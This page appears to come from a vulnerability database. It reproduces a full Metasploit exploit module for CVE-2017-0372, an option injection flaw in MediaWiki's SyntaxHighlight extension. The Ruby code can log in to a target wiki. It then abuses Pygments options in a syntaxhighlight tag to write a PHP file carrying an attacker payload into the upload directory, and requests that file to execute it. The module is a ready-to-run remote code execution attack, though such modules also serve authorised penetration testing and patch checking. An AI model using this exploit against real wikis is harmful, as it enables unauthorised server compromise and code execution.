Lucene search
+L

MediaWiki SyntaxHighlight extension option injection vulnerability

🗓️ 06 Apr 2017 00:00:00Reported by Yorick KosterType 
metasploit
 metasploit
🔗 www.rapid7.com👁 39 Views

MediaWiki SyntaxHighlight extension option injection vulnerability in MediaWiki version 1.27.x & 1.28.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability',
        'Description' => %q{
          This module exploits an option injection vulnerability in the SyntaxHighlight
          extension of MediaWiki. It tries to create & execute a PHP file in the document root.
          The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.

          This vulnerability affects any MediaWiki installation with SyntaxHighlight version 2.0
          installed & enabled. This extension ships with the AIO package of MediaWiki version
          1.27.x & 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and
          version 1.27.3.
        },
        'Author' => 'Yorick Koster',
        'License' => MSF_LICENSE,
        'Platform' => 'php',
        'Payload' => { 'BadChars' => "#{(0x1..0x1f).to_a.pack('C*')} ,'\"" },
        'References' => [
          [ 'CVE', '2017-0372' ],
          [ 'URL', 'https://lists.wikimedia.org/pipermail/mediawiki-announce/2017-April/000207.html' ],
          [ 'URL', 'https://phabricator.wikimedia.org/T158689' ],
          [ 'URL', 'https://securify.nl/advisory/SFY20170201/syntaxhighlight_mediawiki_extension_allows_injection_of_arbitrary_pygments_options.html' ]
        ],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Automatic Targeting', { 'auto' => true } ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2017-04-06',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "MediaWiki base path (eg, /w, /wiki, /mediawiki)", '/wiki' ]),
        OptString.new('UPLOADPATH', [ true, "Relative local upload path", 'images' ]),
        OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ]),
        OptBool.new('CLEANUP', [ false, "Delete created PHP file?", true ])
      ]
    )
  end

  def post_auth?
    true
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api.php'),
      'cookie' => @cookie,
      'vars_post' => {
        'action' => 'parse',
        'format' => 'json',
        'contentmodel' => 'wikitext',
        'text' => '<syntaxhighlight lang="java" start="0,full=1"></syntaxhighlight>'
      }
    })

    if (res && res.headers.key?('MediaWiki-API-Error'))
      if (res.headers['MediaWiki-API-Error'] == 'internal_api_error_MWException')
        return Exploit::CheckCode::Appears('The target appears vulnerable based on response headers')
      elsif (res.headers['MediaWiki-API-Error'] == 'readapidenied')
        print_error("Login is required")
      end

      return Exploit::CheckCode::Unknown("MediaWiki API returned an error: #{res.headers['MediaWiki-API-Error']}")
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  # use deprecated interface
  def login
    print_status("Trying to login....")
    # get login token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api.php'),
      'vars_post' => {
        'action' => 'login',
        'format' => 'json',
        'lgname' => datastore['USERNAME']
      }
    })
    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end
    json = res.get_json_document
    if json.empty? || !json['login'] || !json['login']['token']
      fail_with(Failure::Unknown, 'Server returned an invalid response')
    end
    logintoken = json['login']['token']
    @cookie = res.get_cookies

    # login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api.php'),
      'cookie' => @cookie,
      'vars_post' => {
        'action' => 'login',
        'format' => 'json',
        'lgname' => datastore['USERNAME'],
        'lgpassword' => datastore['PASSWORD'],
        'lgtoken' => logintoken
      }
    })
    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end
    json = res.get_json_document
    if json.empty? || !json['login'] || !json['login']['result']
      fail_with(Failure::Unknown, 'Server returned an invalid response')
    end
    if json['login']['result'] == 'Success'
      @cookie = res.get_cookies
    else
      fail_with(Failure::Unknown, 'Failed to login')
    end
  end

  def exploit
    @cookie = ''
    if datastore['USERNAME'] && datastore['USERNAME'].length > 0
      login
    end

    check_code = check
    unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
      fail_with(Failure::NoTarget, "#{peer}")
    end

    phpfile = "#{rand_text_alpha_lower(25)}.php"
    cssfile = "#{datastore['UPLOADPATH']}/#{phpfile}"
    cleanup = "unlink(\"#{phpfile}\");"
    if not datastore['CLEANUP']
      cleanup = ""
    end
    print_status("Local PHP file: #{cssfile}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api.php'),
      'cookie' => @cookie,
      'vars_post' => {
        'action' => 'parse',
        'format' => 'json',
        'contentmodel' => 'wikitext',
        'text' => "<syntaxhighlight lang='java' start='0,full=1,cssfile=#{cssfile},classprefix=&lt;?php #{cleanup}#{payload.encoded} exit;?&gt;'></syntaxhighlight>"
      }
    })
    if res
      print_status("Trying to run #{normalize_uri(target_uri.path, cssfile)}")
      send_request_cgi({ 'uri' => normalize_uri(target_uri.path, cssfile) })
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation